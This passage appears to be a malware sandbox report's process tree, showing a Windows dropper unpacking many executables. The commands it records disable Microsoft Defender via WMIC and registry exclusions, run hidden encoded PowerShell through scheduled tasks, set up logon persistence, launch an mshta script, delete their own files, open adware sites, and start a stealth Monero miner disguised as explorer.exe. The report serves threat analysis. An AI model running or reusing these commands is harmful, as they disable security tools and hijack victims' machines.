"C:\Program Files (x86)\Company\NewProduct\cm3.exe"
7⤵
- Executes dropped EXE
PID:1028

C:\Users\Admin\Documents\Jxs95V0bYh7X3N82Mo4dE49n.exe
"C:\Users\Admin\Documents\Jxs95V0bYh7X3N82Mo4dE49n.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3004

C:\Users\Admin\Documents\VrnNsmL9HanxAfC5bkxmksKB.exe
"C:\Users\Admin\Documents\VrnNsmL9HanxAfC5bkxmksKB.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:2828

C:\Users\Admin\Documents\utEkeZlY53DuxQs6RmMBzcQB.exe
"C:\Users\Admin\Documents\utEkeZlY53DuxQs6RmMBzcQB.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2928

C:\Users\Admin\Documents\bO4I7ejt7D6H15xjiGwKrwB1.exe
"C:\Users\Admin\Documents\bO4I7ejt7D6H15xjiGwKrwB1.exe"
6⤵
- Executes dropped EXE
PID:2844

C:\Users\Admin\AppData\Local\Temp\7zSF6DC.tmp\Install.exe
.\Install.exe
7⤵
PID:3300

C:\Users\Admin\AppData\Local\Temp\7zS51A8.tmp\Install.exe
.\Install.exe /S /site_id "394347"
8⤵
PID:3736

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
9⤵
PID:3860

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:3960

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:4024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:4044

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:1120

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:3804

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:2040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:2532

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:3120

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:4568

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:4640

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
9⤵
PID:3232

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
10⤵
PID:3340

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
11⤵
PID:2492

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
11⤵
PID:3668

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
9⤵
PID:1160

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
10⤵
PID:2308

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gFKtPYTzJ" /SC once /ST 02:27:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
9⤵
- Creates scheduled task(s)
PID:3992

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gFKtPYTzJ"
9⤵
PID:976

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gFKtPYTzJ"
9⤵
PID:3672

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bvmcjEjDUxHOOxIZsK" /SC once /ST 06:15:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\nKdCoxZ.exe\" uG /site_id 394347 /S" /V1 /F
9⤵
- Creates scheduled task(s)
PID:4344

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "bvmcjEjDUxHOOxIZsK"
9⤵
PID:6132

C:\Users\Admin\Documents\ETfpwQzJf5DCaE7tVBcC3uEX.exe
"C:\Users\Admin\Documents\ETfpwQzJf5DCaE7tVBcC3uEX.exe"
6⤵
- Executes dropped EXE
PID:1612

C:\Users\Admin\Documents\HND8yVJnYXWCogF9AATTSJrd.exe
"C:\Users\Admin\Documents\HND8yVJnYXWCogF9AATTSJrd.exe"
6⤵
PID:2852

C:\Users\Admin\Documents\RBbLjtgHfPtjDkedtMpcAYpi.exe
"C:\Users\Admin\Documents\RBbLjtgHfPtjDkedtMpcAYpi.exe"
6⤵
- Executes dropped EXE
PID:2688

C:\Users\Admin\Documents\RBbLjtgHfPtjDkedtMpcAYpi.exe
"C:\Users\Admin\Documents\RBbLjtgHfPtjDkedtMpcAYpi.exe"
7⤵
PID:3252

C:\Users\Admin\Documents\6XDTQmvCC1V_00OX65YEvdFQ.exe
"C:\Users\Admin\Documents\6XDTQmvCC1V_00OX65YEvdFQ.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3028

C:\Users\Admin\Documents\jAmB4vgkDlJKaG761ZlO9_mT.exe
"C:\Users\Admin\Documents\jAmB4vgkDlJKaG761ZlO9_mT.exe"
6⤵
PID:3344

C:\Users\Admin\Documents\91BengCog1AhlQ1skUpUA52o.exe
"C:\Users\Admin\Documents\91BengCog1AhlQ1skUpUA52o.exe"
6⤵
PID:3372

C:\Users\Admin\Documents\OvYiRsKNCwYleGjplTFQd9Dv.exe
"C:\Users\Admin\Documents\OvYiRsKNCwYleGjplTFQd9Dv.exe"
6⤵
PID:3384

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\OvYiRsKNCwYleGjplTFQd9Dv.exe"
7⤵
PID:4312

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:4392

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10b0a06a73706.exe
4⤵
- Loads dropped DLL
PID:1016

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10b0a06a73706.exe
Fri10b0a06a73706.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1392

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1015b9a4e0b.exe
4⤵
- Loads dropped DLL
PID:2012

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri1015b9a4e0b.exe
Fri1015b9a4e0b.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1272

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri106e757f6d75.exe
4⤵
PID:2044

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri106e757f6d75.exe
Fri106e757f6d75.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1636

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri106e757f6d75.exe
C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri106e757f6d75.exe
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1008c7d6874.exe
4⤵
PID:1096

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1018ef4aa251c026c.exe
4⤵
- Loads dropped DLL
PID:1812

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri1018ef4aa251c026c.exe
Fri1018ef4aa251c026c.exe
5⤵
- Executes dropped EXE
PID:1972

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10d184202996a0d7f.exe
4⤵
- Loads dropped DLL
PID:1380

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10d184202996a0d7f.exe
Fri10d184202996a0d7f.exe
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1368

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10720d229511df563.exe
4⤵
- Loads dropped DLL
PID:684

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10720d229511df563.exe
Fri10720d229511df563.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:2396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2396 -s 640
6⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2700

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri105268dda3.exe
4⤵
- Loads dropped DLL
PID:932

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri105268dda3.exe
Fri105268dda3.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:436

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10fcc13ae0125c8.exe
4⤵
- Loads dropped DLL
PID:888

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10fcc13ae0125c8.exe
Fri10fcc13ae0125c8.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1804

C:\Users\Admin\AppData\Local\Temp\is-5BIUG.tmp\Fri10fcc13ae0125c8.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5BIUG.tmp\Fri10fcc13ae0125c8.tmp" /SL5="$6001C,239846,156160,C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10fcc13ae0125c8.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:784

C:\Users\Admin\AppData\Local\Temp\is-92O02.tmp\Sayma.exe
"C:\Users\Admin\AppData\Local\Temp\is-92O02.tmp\Sayma.exe" /S /UID=burnerch2
7⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:1604

C:\Program Files\Windows Portable Devices\ZGMDRAZMEB\ultramediaburner.exe
"C:\Program Files\Windows Portable Devices\ZGMDRAZMEB\ultramediaburner.exe" /VERYSILENT
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2196

C:\Users\Admin\AppData\Local\Temp\is-5IOTR.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5IOTR.tmp\ultramediaburner.tmp" /SL5="$2016A,281924,62464,C:\Program Files\Windows Portable Devices\ZGMDRAZMEB\ultramediaburner.exe" /VERYSILENT
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:2268

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
10⤵
- Executes dropped EXE
PID:2364

C:\Users\Admin\AppData\Local\Temp\08-074ae-aff-e8a86-71376faaf1b5a\Dahufopaelo.exe
"C:\Users\Admin\AppData\Local\Temp\08-074ae-aff-e8a86-71376faaf1b5a\Dahufopaelo.exe"
8⤵
- Executes dropped EXE
PID:2216

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
9⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1324

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:275457 /prefetch:2
10⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2648

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:537619 /prefetch:2
10⤵
PID:3228

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:406554 /prefetch:2
10⤵
PID:1872

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:537625 /prefetch:2
10⤵
PID:3652

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:406562 /prefetch:2
10⤵
PID:5256

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:3617807 /prefetch:2
10⤵
PID:1404

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
9⤵
PID:1944

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1944 CREDAT:275457 /prefetch:2
10⤵
PID:5824

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
9⤵
PID:5900

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5900 CREDAT:275457 /prefetch:2
10⤵
PID:4492

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851513
9⤵
PID:5984

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5984 CREDAT:275457 /prefetch:2
10⤵
PID:6140

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=2087215
9⤵
PID:2804

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2804 CREDAT:275457 /prefetch:2
10⤵
PID:3080

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=4263119
9⤵
PID:1824

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1824 CREDAT:275457 /prefetch:2
10⤵
PID:5616

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?id=1294231
9⤵
PID:3856

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3856 CREDAT:275457 /prefetch:2
10⤵
PID:1768

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1492888&var=3
9⤵
PID:3996

C:\Users\Admin\AppData\Local\Temp\3e-cc22d-56f-e6993-e6493bfe25e21\Lyqedaekaepo.exe
"C:\Users\Admin\AppData\Local\Temp\3e-cc22d-56f-e6993-e6493bfe25e21\Lyqedaekaepo.exe"
8⤵
- Executes dropped EXE
PID:2256

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tfov33gg.yxj\GcleanerEU.exe /eufive & exit
9⤵
PID:2900

C:\Users\Admin\AppData\Local\Temp\tfov33gg.yxj\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\tfov33gg.yxj\GcleanerEU.exe /eufive
10⤵
PID:4204

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\tfov33gg.yxj\GcleanerEU.exe" & exit
11⤵
PID:1732

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "GcleanerEU.exe" /f
12⤵
- Kills process with taskkill
PID:3956

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mvcllyaf.f10\gcleaner.exe /mixfive & exit
9⤵
PID:3360

C:\Users\Admin\AppData\Local\Temp\mvcllyaf.f10\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\mvcllyaf.f10\gcleaner.exe /mixfive
10⤵
PID:2072

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\mvcllyaf.f10\gcleaner.exe" & exit
11⤵
PID:316

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "gcleaner.exe" /f
12⤵
- Kills process with taskkill
PID:3320

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10acd1e0a9e6.exe /mixone
4⤵
- Loads dropped DLL
PID:268

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10acd1e0a9e6.exe
Fri10acd1e0a9e6.exe /mixone
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1428

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "Fri10acd1e0a9e6.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10acd1e0a9e6.exe" & exit
6⤵
PID:1384

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "Fri10acd1e0a9e6.exe" /f
7⤵
- Kills process with taskkill
PID:1728

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri103a7805577.exe
4⤵
PID:1400

C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri103a7805577.exe
Fri103a7805577.exe
5⤵
PID:2492

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
PID:4400

C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
7⤵
PID:4500

C:\Users\Admin\AppData\Local\Temp\inst001.exe
"C:\Users\Admin\AppData\Local\Temp\inst001.exe"
7⤵
PID:4580

C:\Users\Admin\AppData\Local\Temp\Firstoffer.exe
"C:\Users\Admin\AppData\Local\Temp\Firstoffer.exe"
7⤵
PID:4628

C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_t3.exe
"C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_t3.exe"
7⤵
PID:4684

C:\Users\Admin\AppData\Local\Temp\installer.exe
"installer.exe"
8⤵
PID:5056

C:\Users\Admin\AppData\Local\Temp\is-DM70V.tmp\installer.tmp
"C:\Users\Admin\AppData\Local\Temp\is-DM70V.tmp\installer.tmp" /SL5="$203D8,1158062,843264,C:\Users\Admin\AppData\Local\Temp\installer.exe"
9⤵
PID:2044

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
PID:4728

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
8⤵
PID:4700

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "setup.exe" /f
9⤵
- Kills process with taskkill
PID:4896

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
7⤵
PID:4480

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
8⤵
PID:4940

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
9⤵
- Creates scheduled task(s)
PID:4324

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
8⤵
PID:608

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
9⤵
PID:2924

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
10⤵
- Creates scheduled task(s)
PID:4492

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
9⤵
PID:4688

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
9⤵
- Executes dropped EXE
PID:2864

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
7⤵
PID:4916

C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe
"C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"
7⤵
PID:4932

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScriPt: CLOSe ( CreatEOBjECt ("WScRIpt.sHell" ). rUn ( "CmD.Exe /Q /C COpy /Y ""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF """" =="""" for %z iN (""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"") do taskkill -f /Im ""%~nXz"" " , 0 , tRue ))
8⤵
PID:5020

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
7⤵
PID:4992

C:\Users\Admin\AppData\Local\Temp\xiuyingzhang-game.exe
"C:\Users\Admin\AppData\Local\Temp\xiuyingzhang-game.exe"
7⤵
PID:5096

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
PID:5076

C:\Windows\system32\taskeng.exe
taskeng.exe {A6E4CA4F-CB6A-444B-A971-28F256B5C2F4} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:3520

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
2⤵
PID:1872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:2528

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
2⤵
PID:3140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:3104

C:\Windows\system32\gpupdate.exe
